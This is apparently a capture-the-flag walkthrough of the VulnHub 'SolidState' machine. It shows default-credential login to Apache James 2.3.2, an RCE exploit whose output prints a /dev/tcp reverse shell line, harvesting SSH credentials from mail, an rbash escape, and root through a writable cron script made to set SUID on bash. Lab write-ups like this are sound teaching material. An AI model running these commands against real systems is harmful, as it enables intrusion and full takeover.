Port 80 (HTTP)

1. Feroxbuster did not enumerate any interesting dirs

```
200       63l     2733w    17128c http://192.168.1.94/LICENSE.txt
200       34l      133w      963c http://192.168.1.94/README.txt
200      129l      789w     7182c http://192.168.1.94/about.html
301        9l       28w      313c http://192.168.1.94/assets
301        9l       28w      313c http://192.168.1.94/images
200      179l      680w     7776c http://192.168.1.94/index.html
403       11l       32w      300c http://192.168.1.94/server-status
200      130l      967w     8404c http://192.168.1.94/services.html
```

2. Visited `http://192.168.1.94/index.html`,
    - Could not find any login page
    - Could not find any vulnerabilities
3. Looked at nmap scan, found an interesting service running on tcp/4555

4555 (Apache James Server)

1. nmap detected `JAMES Remote Admin 2.3.2` running on port 4555

```
4555/tcp open  james-admin syn-ack ttl 64 JAMES Remote Admin 2.3.2
```

2. Managed to login with default credentials
    - root:root

```
┌──(root💀kali)-[~/vulnHub/solidState/192.168.1.94/exploit]
└─# nc 192.168.1.94 4555
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
```

3. Found exploits for `JAMES Remote Admin 2.3.2`
    - Exploit https://www.exploit-db.com/exploits/50347

```
┌──(root💀kali)-[~/vulnHub/solidState/192.168.1.94/exploit]
└─# searchsploit James Server 2.3.2
------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                |  Path
------------------------------------------------------------------------------ ---------------------------------
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Write (Metasploi | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution                          | linux/remote/35513.py
Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)     | linux/remote/50347.py
------------------------------------------------------------------------------ ---------------------------------
```

4. Exploit
    - Apache James Server 2.3.2 - Remote Command Execution (RCE)

```
python3 50347.py 192.168.1.94 192.168.1.1 4444
```

```
┌──(root💀kali)-[~/vulnHub/solidState/192.168.1.94/exploit]
└─# python3 50347.py 192.168.1.94 192.168.1.1 4444
[+]Payload Selected (see script for more options):  /bin/bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
[+]Example netcat listener syntax to use after successful execution: nc -lvnp 4444
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).
[+]Don't forget to start a listener on port 4444 before logging in!
┌──(root💀kali)-[~/vulnHub/solidState/192.168.1.94/exploit]
└─# nc -nvlp 4444
listening on [any] 4444 ...
```

    - We need someone to login via SSH in order for the shell to execute.
5. Login via root:root & change the passwords of all users
    - Maybe the exploit is not needed?

```
listusers
Existing accounts 7
user: james
user: ../../../../../../../../etc/bash_completion.d
user: thomas
user: john
user: mindy
user: mailadmin
user: test
```

```
setpassword james password
setpassword thomas password
setpassword john password
setpassword mindy password
```

6. Read users mail

```
telnet 192.168.1.94 110
USER james
PASS password
list
retr <number>
```

- James: 0 Mail
- Thomas: 0 Mail
- John:

```
John,

Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a temp
ory password to login to her accounts.

Thank you in advance.

Respectfully,
James
```

- Mindy:

```
Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James
```

  - mindy:`P@55W0rd1!2@`

SSH

1. SSH with mindy:`P@55W0rd1!2@`
2. Our listener from earlier received a connection,

```
┌──(root💀kali)-[~/vulnHub/solidState/192.168.1.94/exploit]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.94] 44638
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ whoami
whoami
mindy
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$
```

3. Mindy's shell is restrictive,

```
mindy solidstate:~$ cd bin
-rbash: cd: restricted
mindy solidstate:~$ /
-rbash: /: restricted: cannot specify `/' in command names
mindy solidstate:~$
```

   - does not allow `/` in commands
   - does not allow us to access directories
   - have to use the shell we obtained from the exploit to bypass the restrictions, so we needed the exploit(`Apache James Server 2.3.2 RCE`) afterall.

```
┌──(root💀kali)-[~/vulnHub/solidState/192.168.1.94/exploit]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.94] 44642
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd bin
cd bin
${debian_chroot:+($debian_chroot)}mindy@solidstate:~/bin$ /
/
bash: /: Is a directory
${debian_chroot:+($debian_chroot)}mindy@solidstate:~/bin$
```

Privilege Escalation to Root via Cronjob

1. Ran linpeas, found a suspicious file called tmp.py

```
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/mindy
/opt/tmp.py
/run/lock
/run/user/1001
/run/user/1001/gnupg
/run/user/1001/systemd
/run/user/1001/systemd/transient
/tmp
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/var/tmp
```

```
  GNU nano 2.7.4                    File: tmp.py

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()
```

- It is deleting files in the `/tmp` directory, a cronjob is probably executing the script

2. Edit it to obtain a root shell

```
  GNU nano 2.7.4                File: /opt/tmp.py                Modified

#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod +s /bin/bash')
except:
     sys.exit()
```

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1265272 May 15  2017 /bin/bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4#
```

Tags: #tcp/4555-james/exploit #linux-priv-esc/cronjob
